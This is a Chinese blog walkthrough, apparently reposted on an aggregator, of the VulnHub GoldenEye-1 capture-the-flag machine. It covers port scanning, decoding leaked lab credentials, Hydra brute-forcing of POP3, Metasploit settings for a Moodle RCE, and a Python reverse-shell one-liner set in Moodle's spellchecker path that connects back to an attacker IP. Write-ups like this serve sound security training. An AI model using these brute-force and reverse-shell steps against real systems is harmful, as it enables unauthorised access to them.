ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

NO.1——VulnHub-GoldenEye-1-Walkthrough

2021-03-07 20:59:13  阅读:350  来源: 互联网

标签:登录 密码 用户 Walkthrough VulnHub NO.1 使用 我们 邮件


VulnHub-GoldenEye-1-Walkthrough


靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机难度:中等(CTF)
靶机发布日期:2018年5月4日
靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye
目标:得到root权限&找到flag.txt
作者:世间繁华梦一出
注意:渗透所有靶机所使用的技术仅用于教育和分享网络安全爱好者学习,不可用于其他非法活动。

一、信息收集

首先在我的攻击机kali上使用namp对目标靶机进行ip扫描
命令: nmap -sP 192.168.1.0/24

哇!这里扫出同一网段的很多ip地址,到底哪一个才是我的靶机ip地址呢?
在这里插入图片描述
发现只有这个MAC地址是VMware虚拟机,所以,靶机ip地址一定就是这个咯!
靶机ip地址:192.168.1.125

然后我们开始探索目标计算机上开放的端口和服务
命令:nmap -sT -T4 -p - 192.168.1.125
在这里插入图片描述图中可以看出,目标计算机上有四个可用的开放端口。由于目标计算机上的端口80可用,我们首先来检查应用程序。我们在浏览器上打开了目标计算机的IP,它显示了一个有趣的页面:
在这里插入图片描述进入后是此页面,最后一行它说进入到 /sev-home/ 目录去登录。
那我们就进去看看
在这里插入图片描述
然后果然出来了登录框,太意外了!
但是它还需要输入账号和密码,我们没有啊,怎么办?
我们尝试继续在页面中寻找线索,按F12查看网页源代码,
在这里插入图片描述
发现在JS中有一个JS文件,我们去看看里面有什么
在这里插入图片描述
发现用户名有两个:boris、Natalya
我们还找到了一个编码字符串,可以在上面的屏幕快照的突出显示区域中看到它。用户评论中提到这是密码。让我们对字符串进行解码,然后尝试使用这些凭据登录应用程序。
字符串:
InvincibleHa ck3r
我使用了burp suite 的Decoder编码解码模块进行解码
在这里插入图片描述得到了密码:InvincibleHack3r
我们来登录一下目标机器的web应用程序

在这里插入图片描述好,登录成功了,它的应用程序页面是这个样子
我们已经成功登陆了GoldenEye应用程序,继续按F12查看此页面源代码寻找有用的信息,最后一段英文翻译是(英文较差用谷歌翻译):
请记住,由于默默无闻的安全性非常有效,因此我们将pop3服务配置为在很高的非默认端口上运行…

在这里插入图片描述
在这里插入图片描述检查主页的html内容,从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务。由于我们已经在第一步中对目标IP进行了完整的Nmap扫描,因此我们已经知道运行POP3服务器的端口:55006、55007,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器上访问发现是55007端口:
在这里插入图片描述
另外,在分析“ terminal.js”的HTML内容时,我们在注释中发现一条注释,指出目标系统正在使用默认密码。因此,让我们尝试使用在上一步中找到的用户名“ boris”,通过Hydra暴力破解pop3服务:
在这里插入图片描述在这里插入图片描述爆破成功
用户:boris 密码:secret1!
用户:natalya 密码:bird

我使用Netcat(简称nc)实用程序通过pop3端口并使用用户“ boris、natalya”凭据登录到目标服务器邮箱中。

在这里插入图片描述这是pop3登录指令学习
在这里插入图片描述这封邮件指出boris的邮件不会在电子邮件中被扫描安全隐患,指出它和其他管理员都是受信任的,这封邮件没什么有用的信息。

接下来看第二封邮件

在这里插入图片描述第二封来自用户“ natalya”,称她可以破坏鲍里斯的密码。

第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。
现在使用natalya用户登录看看有什么有用的信息…
在这里插入图片描述我们可以看到目标计算机上的root用户有一封电子邮件。让我们检查第二封电子邮件。

那我们就接着查看第二封邮件
在这里插入图片描述在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
在这里插入图片描述在上面的屏幕截图中,我们可以看到域名已经成功添加到本地hosts中。因此,让我们在浏览器中打开此URL。

在这里插入图片描述经过如此多的努力,我们终于在目标计算机上运行了web应用程序
刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。
用户名:xenia
密码:RCP90rulez!
在这里插入图片描述
登录成功了
在这里插入图片描述
进来之后到四处看一看,发现有一封用户名为doak的邮件,进去看看

继续使用hydra攻击
在这里插入图片描述爆破成功
用户名:doak
密码:goat
那么我们继续使用账号密码登上这个用户的pop3邮件去看一看
在这里插入图片描述好,登陆成功了,并且我们成功查看到了它里面的邮件,只有一封
在这里插入图片描述它里面的内容是这样的
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
使用新的账户密码登录CMS。
那么我们用这个账号去重新登录web应用程序
在这里插入图片描述登录进来我们发现home里有一个文件,并且发现这是moodle使用的2.23的版本。点开这个txt文件看看
在这里插入图片描述
在这里插入图片描述里面 的内容只有这么多,我们去谷歌翻译一下看看写的什么
在这里插入图片描述 它这里面又有一个jpg后缀 的文件路径,去看看
在这里插入图片描述这个图片打开是个这东西。。。
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用binwalk(路由逆向分析工具)、exiftool(图虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。

这里我们使用图虫exiftool进行图片底层内容的识别
在这里插入图片描述在这里插入图片描述使用binwalk没能查出有用信息,用exiftool和strings解析得到Image Description : eFdpbnRlcjE5OTV4IQ==
很明显这是一个base-64编码的字符串(两个等号表示它是base-64编码的字符串),进行base-64解码得到下面的字符串
在这里插入图片描述
获得解密后的字符串:xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!

在这里插入图片描述嚯,终于进来了,东西真多哇!
进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致,这是Moodle使用的2.2.3版本,获得版本名称后,快速到网上搜索此版本可用的漏洞。
在这里插入图片描述
在这里插入图片描述

二、渗透——getshell

此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。
使用我们的神器:MSF

首先进行漏洞利用,查找存在的exp
在这里插入图片描述

然后设置所需参数值
在这里插入图片描述设置用户名:admin
设置密码:xWinter1995x!
设置:rhosts severnaya-station.com
设置:targeturi / gnocertdir
设置payload:cmd / unix / reverse
设置:lhost 192.168.1.45
这里不会配置的还是别往下学了,先去学习一下渗透测试神器——MSF的使用。

在这里插入图片描述在这里插入图片描述提权失败,网上搜索看到一篇老外写的Walkthrough,目标主机上不存在GCC编译,只能CC编译,所以在需要把Google Spell编译改成PSpellShell编译。
在这里插入图片描述按道理应该能获取www低权限,经过百度谷歌多方面咨询大神,是因为我kali中MSF版本升级太高,会遇到RCE无法渗透问题,这里耽误了很多时间,心里想着可以getshell了,结果MMP,反弹shell用不了,只能使用内核提权了。
所以只能使用另外的反弹shell方式渗透了

最后找到了解决办法

由于我们已经使用了管理员admin用户登录页面,可以进行网站管理,在页面中找到了Site administration-Server-System paths
在这里插入图片描述网站管理系统路径,发现可以上传代码

这里可以用到python代码,进行反弹shell渗透。
使用代码:python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.182.135”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
使用python对本地6666端口上传一个shell,相当于一个木马,我们需要在本地开启端口6666。
在这里插入图片描述成功上传shell
在这里插入图片描述利用nc来反弹shell
命令:nc -lnvp 6666(端口号)

本地开启监听端口后,回到管理员用户页面。
在这里插入图片描述
需要找到一个能发送数据包出去的地方,这里找到了能发送邮件的地方,随意填写一些文字即可,点击Toggle spellchecker进行发送shell到本地。
在这里插入图片描述终于获得了一个shell权限,使用python获得的shell权限后,得使用ptyhon获得tty,使用命令:
python -c ‘import pty; pty.spawn("/bin/bash")’
在这里插入图片描述当我运行id命令时,它表明该用户不是root用户,这是www-data的低特权用户

三、提权

关于Linxu提权有非常非常多的方法,可以参考学习:
链接: Linux提权学习.
也可以参考我前几天写过的一篇专门来讲提权的文章!

今天的博客就写到这里吧,第一次打靶机,感觉难度比较大,还需要继续学习,不断努力,不断进步,太菜了。。。。

标签:登录,密码,用户,Walkthrough,VulnHub,NO.1,使用,我们,邮件
来源: https://blog.csdn.net/zzwwhhpp/article/details/114481073

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有